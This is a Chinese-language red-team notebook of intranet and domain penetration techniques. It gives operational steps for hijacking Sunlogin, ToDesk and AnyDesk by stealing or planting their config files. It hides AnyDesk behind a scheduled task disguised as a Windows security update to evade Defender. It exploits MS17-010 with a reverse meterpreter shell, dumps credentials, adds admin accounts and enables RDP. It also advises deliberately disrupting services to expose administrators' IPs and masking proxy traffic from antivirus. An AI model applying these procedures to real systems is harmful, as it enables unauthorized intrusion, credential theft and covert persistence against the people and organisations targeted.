工作组与域渗透
- 远程控制软件利用
- 出网连通性
- 渗透测试-内网横向MS-17010利用方法总结
- 原理介绍
- 漏洞利用
- 渗透测试-从公有云到内网漫游RCE-反序列化-frp
- windows凭据窃取
- Windows远程连接和相关命令
- 从外网打点到内网横向渗透,最终获取整个内网权限。
- MSDT
- WDigest
- 域控服务器 域渗透
- AD认证
- 获取域环境内用户登录信息
- 查看域内机器的用户目录文件夹
- 域控日志
- DNS解析记录
- Exchange 日志
- 查看域内组织结构
- 域内热门漏洞
- 域环境root.redteam.lab
- CrackMapExec
- CrackMapExec CME
- Kerberos认证协议安全性分析
- 抓取域管理员密码
- 详解kerberoast攻击
- 详解Responder利用方式
- SMBv2 哈希中继
- NTML认证与PTH攻击
- PTT
- MS14-068原理以及利用
- AS-REP Roasting预身份认证
- 域内密码喷洒
- 基于资源的约束委派攻击
- CVE-2022–26923
- 微软活动目录域环境攻击与防御
- 域渗透
- NTLM认证
- 权限委派错误
- kerberos委派
- 用户密码窃取
- 组策略对象
- AD证书服务的错误配置
- 多域控
- 森林域
- 常用指令
- 参考文章
远程控制软件利用
https://blog.csdn.net/weixin_44216796/article/details/112118108
https://mp.weixin.qq.com/s/tS27lvNwM6xxKreapcwG4g
文章来源:奇安信攻防社区(Q16G)
原文地址:https://forum.butian.net/share/2310
向日葵
向日葵个人版for Windows <= 11.0.0.33
向日葵简约版 <= V1.0.1.43315(2021.12)
测试客户端漏洞版本:11.0.0.33162
tasklist查看是否有sunlogin的进程
直接用golang的工具来进行攻击即可
https://github.com/Mr-xn/sunlogin_rce
没漏洞
(1) 窃取配置文件来进行解密(低版本 版本号具体未知)
低版本的向日葵把密码和机器码加密写入到了配置文件中,我们可以把配置文件down到自己的机器上,然后进行重开向日葵即可。
这里向日葵版本较低,就不进行测试
(2) 在12.5.2之前的某些版本可以写到了注册表中,所以可以使用注册表来进行查询
reg query HKEY\\\_USERS\\\\.DEFAULT\\\\Software\\\\Oray\\\\SunLogin\\\\SunloginClient\\\\SunloginInfo
reg query HKEY\\\_USERS\\\\.DEFAULT\\\\Software\\\\Oray\\\\SunLogin\\\\SunloginClient\\\\SunloginGreenInfo
向日葵默认配置文件路径:
安装版:C:\\\\Program Files\\\\Oray\\\\SunLogin\\\\SunloginClient\\\\config.ini
便携版:C:\\\\ProgramData\\\\Oray\\\\SunloginClient\\\\config.ini
本机验证码参数:encry\\\_pwd
本机识别码参数:fastcode(去掉开头字母)
sunlogincode:判断用户是否登录状态
在向日葵高于12.5.3.*的已经没有办法获取secert了
todesk
常见渗透方式(偷配置,百试百灵)
这里还是和前面的向日葵一样,可以进行配置文件的窃取,默认安装路径C:\Program Files\ToDesk\config.ini
安装todesk,然后读取到config.ini中的配置文件,然后和攻击机进行替换即可。
进行替换的时候需要修改攻击机密码更新频率 手动
anydesk
anydesk的配置文件在以下文件中,而通常这个时候我们有权限修改anydesk的配置文件。
C:\\Users\\用户名\\AppData\\Roaming\\AnyDesk
这里进行测试,起两个虚拟机,设定一个场景(攻击机拿到了webshell,受害机开着windows defender,如何去渗透拿到受害机权限)
攻击机ip: 10.211.55.3 + 10.211.55.2
受害机ip: 10.211.55.4(windows defender全开)
MsMpEng.exe
Microsoft Security Essentials
用powershell执行远程命令下载anydesk到用户的目录中去,
因为虚拟机只有C盘,所以创建了一个目录来存放,在真实的渗透过程中,一般是有RWE的目录
攻击机下载anydesk(如果下载过的小伙伴,要先清除之前的配置文件)
Roaming >AnyDesk
打开攻击机的anydesk,
id,
右上角的概述-->为自主访问设置密码-->设置一个密码(这里设置为Q16G666!!)
点击应用,攻击机完全退出anydesk(小托盘也要退出),并且退出时不选择安装anydesk。
到配置文件路径下 把文件复制下来。
四个。攻击机复制完之后,一定要将攻击机中的配置文件进行删除。
ad.trace
service.conf
system.conf
user.conf
受害机 如果没有配置文件路径则进行创建
打开攻击机,生成配置文件,启动受害机的anydesk。
用攻击机进行连接,
id
密码
无感绕过windows defender
创建计划任务
确定当前用户,在当前用户的目录下执行anydesk
powershell "(((Get-WmiObject -Class Win32\_Process -Filter 'Name=\\"explorer.exe\\"').GetOwner().user) -split '\\n')\[0\]
schtasks /Create /TN Windows\_Security\_Update /SC monthly /tr "C:\\Users\\testuser.G1TS\\Desktop\\anydesk.exe" /RU 用户名
执行计划任务
schtasks /run /tn Windows\_Security\_Update
后续步骤和上面相同
然后添加密码到配置文件中去即可。
echo ad.anynet.pwd_hash=85352d14ed8d515103f6af88dd68db7573a37ae0f9c9d2952c3a63a8220a501c >> C:\Users\用户目录\AppData\Roaming\AnyDesk\service.conf
echo ad.anynet.pwd_salt=cb65156829a1d5a7281bfe8f6c98734a >> C:\Users\用户目录\AppData\Roaming\AnyDesk\service.conf
然后查看用户的id
type C:\Users\用户名\AppData\Roaming\AnyDesk\system.conf
连接即可
优点:
整个过程都不需要进行UAC弹窗,真正实现了无感绕过
缺点:
(1) 会弹出anydesk的界面,导致一些问题
(2) 启动anydesk的权限需要桌面用户权限,
比如,IIS做了中间件环境,拿到的webshell一般都是没有桌面用户权限,如果启动anydesk是不会成功的。
gotohttp
gotohttp在我的渗透测试过程中,是一个常见的方式,
给我的感觉,即用即连,浏览器连接,方便快捷。
但是缺点就是权限划分明确,普通用户权限起的gotohttp无法进行管理员权限操作,
比如关闭windows defender和其他一些行为,不过在规避杀软这儿也有奇效。
https://gotohttp.com/
普通用户上去之后只能用普通用户权限,
这里下载对应的gotohttp上传上去,命令行运行他,
直接在当前目录下生成配置文件,读取配置文件,即可成功连接。
出网连通性
环境判定
局域网
内网
交换机路由下面
ipconfig /all
192.168.1.102(首选)
本地局域网
内网渗透篇
001-内网渗透常见知识讲解
A类: 10.0.0.0-10.255.255.255
B类: 172.16.0.0-172.31.255.255
C类: 192.168.0.0-192.168.255.255
同一局域网
防火墙穿透 木马免杀穿透 内网信息收集及目标定位 关于文件下戟。
查看本机防火墙规则
netsh advfirewall firewall show rule name=all
ICMP 协议
ping <IP地址或域名>
TCP 协议
netcat (简称 nc) 被誉为网络安全界的” 瑞士军刀”,是一个短小精悍的工具,通过使用 TCP 或 UDP 协议的网络连接读取数据。
使用方法:
nc -zv <IP地址 端口号>
Windows 机器不自带 nc,因此在 Windows 机器上需要使用 Telnet,而 Telnet 也需要我们自己开启。
Windows10 下开启 Telnet 命令:
#开启
dism /online /Enable-Feature /FeatureName:TelnetClient#关闭
dism /online /Disable-Feature /FeatureName:TelnetClient
Telnet 使用方法:
telnet <IP地址 端口号>
UDP 协议
使用脚本 Test-PortConnectivity.ps1
下载地址:https://gist.github.com/PrateekKumarSingh/61532b4f48edac1d893b
#Test-PortConnectivity -Source '127.0.0.1' -RemoteDestination 'dc1' -Port 57766#Test-PortConnectivity '127.0.0.1' 'dc1' 57766 -Protocol UDP -Iterate#Test-PortConnectivity 'localhost' 'dc2' 51753 -Protocol UDP#Test-PortConnectivity -Source $EUCAS -RemoteDestination $EUMBX -Port 135 -Iterate#Test-PortConnectivity -Source 'localhost' -RemoteDestination '127.0.0.1' -Port 135 -Iterate -protocol TCPFunction Test-PortConnectivity(){
Param(
[Parameter(Position=0)] $Source,
[Parameter(Mandatory=$true,Position=1)] $RemoteDestination,
[Parameter(Mandatory=$true,Position=2)][ValidateScript({
If($_ -match "^[0-9]+$"){
$True
}
else{
Throw "A port should be a numeric value, and $_ is not a valid number"
}
})
]$Port,
[Parameter(Position=3)][ValidateSet('TCP','UDP')] $Protocol = 'TCP',
[Switch] $Iterate
)
#If $source is a local name, invoke command is not required and we can test port, withhout credentials
If($Source -like "127.*" -or $source -like "*$(hostname)*" -or $Source -like 'localhost')
{
Do
{
Telnet-Port $RemoteDestination $Port $Protocol;
Start-Sleep -Seconds 1 #Initiate sleep to slow down Continous telnet
}While($Iterate)
}
Else #Prompt for credentials when Source is not the local machine.
{
$creds = Get-Credential
Do
{
Foreach($Src in $Source)
{
Invoke-command -ComputerName $Src -Credential $creds -ScriptBlock ${
Function:Telnet-Port} -ArgumentList $RemoteDestination,$port, $Protocol
}
#Initiate sleep to slow down Continous telnet
Start-Sleep -Seconds 1
}While($Iterate)
}}
Function Telnet-Port($RemoteDestination, $port, $Protocol){
foreach($Target in $RemoteDestination)
{
Foreach($CurrentPort in $Port)
{
If($Protocol -eq 'TCP')
{
try
{
If((New-Object System.Net.Sockets.TCPClient ($Target,$currentPort) -ErrorAction SilentlyContinue).connected)
{
Write-host "$((hostname).toupper()) connected to $($Target.toupper()) on $Protocol port : $currentPort " -back green -ForegroundColor White
}
}
catch
{
Write-host "$((hostname).toupper()) Not connected to $($Target.toupper()) on $Protocol port : $currentPort" -back red -ForegroundColor white
}
}
Else
{
#Create object for connecting to port on computer
$UDPClient = new-Object system.Net.Sockets.Udpclient
#Set a timeout on receiving message, to avoid source machine to Listen forever.
$UDPClient.client.ReceiveTimeout = 5000
#Datagrams must be sent with Bytes, hence the text is converted into Bytes
$ASCII = new-object system.text.asciiencoding
$Bytes = $ASCII.GetBytes("Hi")
#UDP datagram is send
[void]$UDPClient.Send($Bytes,$Bytes.length,$Target,$Port)
$RemoteEndpoint = New-Object system.net.ipendpoint([system.net.ipaddress]::Any,0)
Try
{
#Waits for a UDP response until timeout defined above
$RCV_Bytes = $UDPClient.Receive([ref]$RemoteEndpoint)
$RCV_Data = $ASCII.GetString($RCV_Bytes)
If ($RCV_Data)
{
Write-host "$((hostname).toupper()) connected to $($Target.toupper()) on $Protocol port : $currentPort " -back green -ForegroundColor White
}
}
catch
{
#if the UDP recieve is timed out
#it's infered that no response was received.
Write-host "$((hostname).toupper()) Not connected to $($Target.toupper()) on $Protocol port : $currentPort " -back red -ForegroundColor White
}
Finally
{
#Disposing Variables
$UDPClient.Close()
$RCV_Data=$RCV_Bytes=$null
}
}
}
}}
powershell -exec bypass -command "& {
import-module C:\Users\GU\Desktop\Test-PortConnectivity.ps1; Test-PortConnectivity 'localhost' '127.0.0.1' 7777 -Iterate -protocol UDP}"
本机使用 ncat 开启 udp 监听,再运行此脚本。
监听处出现 Hi 字样,即表示连通
HTTP 协议
使用工具 curl,有的 Windows 自带 curl,有的需要自己安装。
使用方法:
curl www.baidu.com
FTP 协议
开启 21 端口,并使用 ftp 连接。
DNS 协议
Windows 下使用 nslookup,linux 下还可以使用 dig。
#Windows
nslookup www.baidu.com
#Linux
dig www.baidu.com
使用命令:
nslookup -type=TXT test.hackergu.com
利用工具查看
HostRecon
下载地址:https://github.com/dafthack/HostRecon
使用命令:
Import-Module .\HostRecon.ps1
Invoke-HostRecon -Portscan -TopPorts 128
代理服务器
在内网中的机器,也可能是通过代理连接内网。
检查方法:
查看内网中,与其他机器的网络连接。
查看内网中是否有主机名类似于 proxy 的机器。
根据 pac 文件的路径,将其下载下来并查看。
执行如下命令,进行确认。
curl -x proxy-ip:port www.baidu.com
渗透测试-内网横向MS-17010利用方法总结
原理介绍
永恒之蓝(ms17-010)过TCP端口445和139
来利用SMBv1 SMB 协议 即 SMBv1 全名: Server Message Block
和NBT中的远程代码执行漏洞,
恶意代码会扫描开放445文件共享端口的Windows机器,
无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt
在处理FEA(File Extended Attributes)转换时,
在大非分页池(内核的数据结构,Large Non-Paged Kernel Pool)上存在缓冲区溢出。
函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小。
然后会进行如下操作:
srv!SrvOs2FeaListSizeToNt会计算FEA list的大小并更新待转换的FEA list的大小
因为错误的使用WORD强制类型转换,导致计算出来的待转换的FEA list的大小比真正的FEA list大
因为原先的总大小计算错误,导致当FEA list被转化为NTFEA list时,会在非分页池导致缓冲区溢出
目前已知受影响的Windows 版本包括但不限于:
WindowsNT,2000、 XP、 2003、Vista、 7、 8,2008、2008 R2、2012 SP0。
漏洞利用
MSF
搜索ms17_010漏洞:search ms17_010
进入漏洞模块: use exploit/windows/smb/ms17_010_eternalblue
查看漏洞模块信息:info
设置攻击目标:set RHOSTS 172.16.7.180
查看可用的攻击payload:show payloads
选择并设置攻击Payload:set payload windows/x64/meterpreter/reverse_tcp
设置接收信息的本地设备:set LHOST 172.16.7.95 and port
最后检查下当前的配置:show options
开始攻击:exploit
直接拿到目标的Shell,然后任意命令执行
获取用户密码
load kiwi
进程迁移
creds_all
shell切换到控制机dos界面
创建新用户
提升至管理员权限
输入 net localgroup administrators查看管理员都有谁
开启 远程桌面控制
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
rdesktop x.x.x.x:3389
Exploit aborted due to failure: no-target: This module only supports x64 (64-bit) targets
Ladon
http://k8gege.org/Ladon/cmddll.html
https://blog.csdn.net/k8gege/article/details/112253408
渗透测试-从公有云到内网漫游RCE-反序列化-frp
0x01 前言
当一个企业把他的业务放到腾讯云或阿里云等公有云的时候,其是与企业的内网是不相通的,
相当于逻辑隔离了(非物理隔离),
如果企业信息安全做的相对较好,不暴露VPN地址或者路由器或防火墙业务,
信息收集的时候,是很难进精准定位到企业的内网使用的公网地址的。
这个时候,想要入侵内网相对困难。
下面就介绍一下我从入侵公有云到渗透进内网进行漫游的实际渗透过程。
0x02 前期打点
怎样入侵拿下云服务器的不是本文重点,故不做详细介绍,只简单介绍思路。
根据公司名字,直接百度发现官网地址。根据官网地址进行了一波信息收集:
1、发现站点使用了CDN,是腾讯云主机,ip是变化的,无法探测真实IP
2、发现存在任意命令执行漏洞。直接RCE,拿下服务器权限。
先看下ip地址
发现显示的是内网地址,这个时候,查看下真实的ip,虽然这个对接下来的内网渗透没什么diao用。
到此才发现是腾讯云,主机不在内网。
0x03 想办法打内网
这个时候,我就要办法获取公司办公网的外网IP了,
这个外网ip要么是防火墙的,要么是路由器的。怎么获取呢?
我想到了一个办法,一般云主机,
运维人员会通过ssh来进行管理,一般在上班时间,他们会连接进来,这个时候,就会获取到公司的真实公网IP。
教大家一个小技巧,如果是小公司,运维可能十天半个月都不会连上来,
这个时候,我们就可以搞点“小破坏”,逼迫运维上线。
比如关闭它的web服务等等,大家千万注意两点:
1.动作不要太大,免得被运维发现被黑,当然你可以提前做权限维持,这里不做介绍。
2. 没有“授权”,千万不要乱搞;没有授权,千万不要乱搞;没有授权,千万不要乱搞,
3. 否则就会进局子吃免费的饭了,咋不能干违法的事,哈哈。
我们看看运维上线没:
[root@VM-0-13-centos~]# netstat -lantp | grep ESTABLISHED
我们重点关注sshd进程,这个前面的公网IP就的运维所在公司的公网IP。
我这里发现了两个。。。
0x04对上面的IP进行渗透
同样繁琐的事情来一波,信息收集。。。
发现了shiro发序列化漏洞,直接反弹shell了
直接进来了:
看一下内网地址:内网地址是10.10.10.187
看看目标机器能否访问外网:
最理想的状态,可以访问外网,接下来就可以开始代理进内网进行渗透了。
0x05 愉快的内网漫游
frp+Proxifier代理搞起来,这里怎样搭建就不详细介绍了,可以自行谷歌。
很简单,最好是socks5代理,并加密,躲一下AV的流量检测;
也最好增加代理的密码,防止“别人”使用。
我这里使用了修改版的frp,利用远程加载配置文件的方式,稍微躲避一下,增加一点点溯源的难度: